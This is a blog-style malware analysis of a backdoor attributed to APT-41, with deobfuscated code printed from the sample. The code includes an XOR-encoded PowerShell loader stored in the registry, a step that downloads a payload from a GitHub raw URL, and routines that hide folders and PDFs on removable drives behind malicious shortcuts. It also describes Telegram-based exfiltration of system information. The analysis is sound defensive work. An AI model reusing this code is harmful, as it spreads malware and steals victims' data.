APT-41 Backdoor Analysis
We hear a lot of things about backdoors that are often used or dropped in planned cyberattacks. In this article, we will analyze a backdoor crafted by the APT-41 group. Let’s begin…
Executable Analysis
You can reach the malwarebazaar link and you can analyse too.
The sample are not packed so analysing not too hard. So, let’s go.
If we skip some parts, we can see there are some registry operations. In the figure1, Registry set operation has been done. Some importants things:
The key name to set:
HKEY_CURRENT_USER-> Software\Classes\abcdfile\shell\open\command value is ‘default’
Content of the key:
Then, another registry set operation is done. The key name to set:
HKEY_CURRENT_USER-> Software\Classes\abcdfile\shell\open\command value is ‘abcd’
Content of the key:
There is two registry we have to analyse. One of them is obfuscated powershell script and the other one is deobfuscator script.
Let’s analyse..
In Script1, the SyncAppvPublishingServer.vbs file is run with a powershell script parameter and cmd will be terminated after it runs.
To understand this, we need to examine the contents of SyncAppvPublishingServer.vbs. Let’s see what’s up:
Option Explicit
Dim g_cmdArgs
g_cmdArgs = ""
' main entrance
' Enable error handling
On Error Resume Next
ParseCmdLine
if g_cmdArgs = "" Then
Wscript.echo "Command line arguments are required."
Wscript.quit 0
End If
Dim syncCmd
syncCmd = "$env:psmodulepath = [IO.Directory]::GetCurrentDirectory(); " & _
"import-module AppvClient; " & _
"Sync-AppvPublishingServer " & g_cmdArgs
Dim psCmd
psCmd = "powershell.exe -NonInteractive -WindowStyle Hidden -ExecutionPolicy RemoteSigned -Command &{" & syncCmd & "}"
Dim WshShell
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run psCmd, 0
' Reset error handling
On Error Goto 0
WScript.Quit 0
'---------------------------------------------------------------------------------------------
' Sub: ParseCmdLine
' Reading the parameters provided by the user in the command line
'---------------------------------------------------------------------------------------------
Sub ParseCmdLine()
dim objArgs
dim argsCount
dim x
Set objArgs = Wscript.Arguments
argsCount = objArgs.count
x = 0
While x < argsCount
g_cmdArgs = g_cmdArgs & " " & objArgs(x)
x = x + 1
Wend
End Sub
If we look in detail, we will see a function that parses arguments.
Sub ParseCmdLine()
dim objArgs
dim argsCount
dim x
Set objArgs = Wscript.Arguments
argsCount = objArgs.count
x = 0
While x < argsCount
g_cmdArgs = g_cmdArgs & " " & objArgs(x)
x = x + 1
Wend
End Sub
The parsed arguments in this function are kept in a variable named g_cmdArgs. So where is this variable used?
Dim syncCmd
syncCmd = "$env:psmodulepath = [IO.Directory]::GetCurrentDirectory(); " & _
"import-module AppvClient; " & _
"Sync-AppvPublishingServer " & g_cmdArgs
Dim psCmd
psCmd = "powershell.exe -NonInteractive -WindowStyle Hidden -ExecutionPolicy RemoteSigned -Command &{" & syncCmd & "}"
Dim WshShell
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run psCmd, 0
As you can see, the given argument is run as a shell object.
As can be understood from the shell code above, “script1” is defined in the “syncCmd” variable and executed. Then we can examine the script
sal abcd ($EnV:COMspEC[4, 26, 25]-jOiN'');[System.Text.Encoding]::UTF8.GetString(([System.Convert]::FromBase64String((gp 'Registry::HKEY_CLASSES_ROOT\abcdfile\shell\open\command' -Name 'abcd').'abcd')|%% -Begin{$i=0} -Process{$_ = $_ -bxor $i%%256;$i++;$_}))|abcd
The Base64 string in the abcd value of the ‘HKEY_CLASSES_ROOT\abcdfile\shell\open\command’ registry key is converted to a byte array. All bytes are then xored with numbers from 0 to 255, respectively. The resulting code after parsing is executed.
After a few deobfuscations, the following powershell script appears.
[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;
$ErrorActionPreference="Continue";
$a="api.telegram.org";
do{
Sleep(Get-Random 100)
}while((iwr $a).StatusCode -ne 200)
It sends a request to ‘api.telegram.org’ using iwr, namely Invoke-WebRequest. Thus, when the computer it is on is connected to the internet and the ‘api.telegram.org’ address is not in the black list, it will continue to work, otherwise it will send a random request to the ‘api.telegram.org’ address and wait for a response.
After successful response, we see a query assignment:
$Query = "select * from __InstanceCreationEvent within 5 where TargetInstance ISA 'Win32_LogicalDisk' and TargetInstance.DriveType = 2";
When this query runs, it brings the information of the hard drives from the disk drives in the device in the last 5 seconds. Some disk drives and drive types:
- 0: Unknown
- 1: None (Target disk does not exist)
- 2: Hard Disk
- 3: Portable Disk
- 4: Network Connection
- 5: Optic Disk Driver
- 6: RAM Disk
When we examine the next line, we can see that the same query is running this time. After that, specific actions will be performed for each of the hard drives in the device. Let’s take a look at what these processes are:
if($null -eq $_){return}
try{Expand-Archive -Path "$env:temp\xxx.zip" -DestinationPath "$env:temp" -force}catch{
$uri = "https://raw.githubusercontent.com/efimovah/abcd/main/xxx.gif";
Start-BitsTransfer -Source $uri -Destination "$Env:tmp\xxx.zip";
Expand-Archive -Path "$env:temp\xxx.zip" -DestinationPath "$env:temp" -force}
cp "$env:temp\xxx\*" -Destination "$_\dism" -Recurse -Force;rm "$env:temp\xxx" -Force -Recurse
sc "$_\system.bat" -value "@echo off`ncd %cd%dism`nstart dism.exe`nexit";
attrib +s +h "$_\dism";attrib +s +h "$_\dism\*.*";attrib +s +h "$_\system.bat";
(Gci "$_\" -Directory -force)|?{$_.name -notin ('dism','$RECYCLE.BIN','System Volume Information')}|%{
if($null -eq $_){return}
attrib +s +h "$($_.fullname)"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("$($_.fullname).lnk")
$Shortcut.TargetPath = "%SystemRoot%\System32\cmd.exe"
$Shortcut.Arguments = "/c start explorer $($_.name) && system.bat && exit"
$Shortcut.IconLocation = "%SystemRoot%\System32\SHELL32.dll,4"
$Shortcut.WorkingDirectory = "%cd%"
$Shortcut.Save()
}
(Gi "$_\*.pdf" -force)|%{
if($null -eq $_){return}
attrib +s +h "$($_.fullname)"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("$($_.fullname).lnk")
$Shortcut.TargetPath = "%SystemRoot%\System32\cmd.exe"
$Shortcut.Arguments = "/c start explorer $($_.name) && system.bat && exit"
$Shortcut.IconLocation = "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe,13"
$Shortcut.WorkingDirectory = "%cd%"
$Shortcut.Save()
The operations are divided into three:
- Downloading Malware
- Creation shortcut for folders in directories
- Creation shortcut for pdf files in directories
Downloading Malware
try{Expand-Archive -Path "$env:temp\xxx.zip" -DestinationPath "$env:temp" -force}catch{
$uri = "https://raw.githubusercontent.com/efimovah/abcd/main/xxx.gif";
Start-BitsTransfer -Source $uri -Destination "$Env:tmp\xxx.zip";
Expand-Archive -Path "$env:temp\xxx.zip" -DestinationPath "$env:temp" -force}
cp "$env:temp\xxx\*" -Destination "$_\dism" -Recurse -Force;rm "$env:temp\xxx" -Force -Recurse
sc "$_\system.bat" -value "@echo off`ncd %cd%dism`nstart dism.exe`nexit";
attrib +s +h "$_\dism";attrib +s +h "$_\dism\*.*";attrib +s +h "$_\system.bat";
As seen above, it downloads a .gif zip file from ‘https://raw.githubusercontent.com/efimovah/abcd/main/xxx.gif’ to the tmp directory. Then the downloaded zip is extracted and copied as a folder named dism on the current disk and deleted from the tmp folder.
After copying, a bat file named ‘system’ is created in the disk directory. The contents of the file are as follows:
@echo off`ncd %cd%dism`nstart dism.exe`nexit
This bat file enables the malicious software named dism.exe located in the dism folder to run.
Create Shortcut from Directories
(Gci "$_\" -Directory -force)|?{$_.name -notin ('dism','$RECYCLE.BIN','System Volume Information')}|%{
if($null -eq $_){return}
attrib +s +h "$($_.fullname)"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("$($_.fullname).lnk")
$Shortcut.TargetPath = "%SystemRoot%\System32\cmd.exe"
$Shortcut.Arguments = "/c start explorer $($_.name) && system.bat && exit"
$Shortcut.IconLocation = "%SystemRoot%\System32\SHELL32.dll,4"
$Shortcut.WorkingDirectory = "%cd%"
$Shortcut.Save()
}
As you can see, shortcuts are created for all folders except dism’,’$RECYCLE.BIN’,’System Volume Information’ folders. The important point here is the structures of the created shortcuts. As you can see, there is also the system.bat file in the arguments of the shortcuts. Here, when the user clicks on these shortcuts, he/she thinks that he/she has opened the folder, but in fact he/she will have also run the system.bat file.
Create Shortcut from PDF Files
(Gi "$_\*.pdf" -force)|%{
if($null -eq $_){return}
attrib +s +h "$($_.fullname)"
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("$($_.fullname).lnk")
$Shortcut.TargetPath = "%SystemRoot%\System32\cmd.exe"
$Shortcut.Arguments = "/c start explorer $($_.name) && system.bat && exit"
$Shortcut.IconLocation = "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe,13"
$Shortcut.WorkingDirectory = "%cd%"
$Shortcut.Save()
Just like directories, shortcuts for pdf files are also created. When the user opens the pdf file, they will also have run the system.bat file.
So far we have only examined the contents of two variables. So how are these variables used? Let’s examine the rest of the script.
Specifies the predefined query and action to take by creating a WmiEvent. Thus, the codes we reviewed above run.
When we continue to examine, we see that a request is sent to the ‘http://ip-api.com/json’ address until successful responses are received. Some system information is collected after successful response. These:
- IPv4 information, If the device has a connection with any gateway
- Model information
- OS information
- Hard disk information on the system
- Computer name
- List of Antivirus software available on the system
- Sistem üzerindeki kullanıcı yetkisi bilgisi
This collected information is transmitted from the telegram to a channel by using the token belonging to a telegram bot, which is probably in the response after the last request. Is it over? Of course not :D
After sending the collected information, the mentioned Telegram bot checks whether it has received any new messages. It retrieves a list of names from the incoming message and compares it with the computer name it obtains from the system. If the computer name on the current system is found in the retrieved list, it forwards the collected information back to another channel to which the received message belongs.